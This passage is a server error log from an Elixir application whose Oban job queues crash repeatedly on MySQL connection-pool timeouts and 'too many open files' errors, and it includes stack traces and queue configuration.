[Sun Sep  6 00:56:11.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:55:59.245447Z], limit: 5, uuid: "3265e393-c37a-4e10-a48a-e26f01e09d27", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:59.245453Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.231294>, refresh_timer: #Reference<0.2525715032.1121189889.231251>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:11.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:55:59.249683Z], limit: 3, uuid: "4b1b94c0-2543-4b73-80d9-98b0b571560c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:59.249689Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.74764>, refresh_timer: #Reference<0.2525715032.1077673987.61643>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:11.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1016ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:55:59.244639Z], limit: 20, uuid: "95f6c502-1d2f-404c-b97e-bba814a7d128", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:59.244646Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.231292>, refresh_timer: #Reference<0.2525715032.1121189889.231235>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:11.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:55:59.245691Z], limit: 10, uuid: "a4d216df-d665-4fb9-bf0f-8b286150f401", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:59.245696Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.231293>, refresh_timer: #Reference<0.2525715032.1121189889.231263>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:11.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:55:59.243960Z], limit: 5, uuid: "10f427fc-68ae-42a9-bd96-7e963b1e5821", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:59.243966Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.74765>, refresh_timer: #Reference<0.2525715032.1068498948.88334>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:11.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 802ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:55:59.246108Z], limit: 50, uuid: "82f912e5-485b-4e93-8e44-2449b367477c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:59.246114Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.74763>, refresh_timer: #Reference<0.2525715032.1099431938.74753>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:11.725000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:14.917000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:18.006000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:19.070000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:21.792000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1028ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:56:11.237836Z], limit: 5, uuid: "29f0298e-d6fc-4b82-b26c-b848aed4eaa1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:11.237842Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.231719>, refresh_timer: #Reference<0.2525715032.1077673987.61669>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1077ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:56:11.239490Z], limit: 3, uuid: "89049744-8703-4d52-9616-0344bbd06655", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:11.239496Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.231720>, refresh_timer: #Reference<0.2525715032.1077673987.61675>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:23.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 841ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:56:11.241792Z], limit: 5, uuid: "d533cf2c-ffd4-4b1d-bdf0-444e6513a5d2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:11.241799Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, 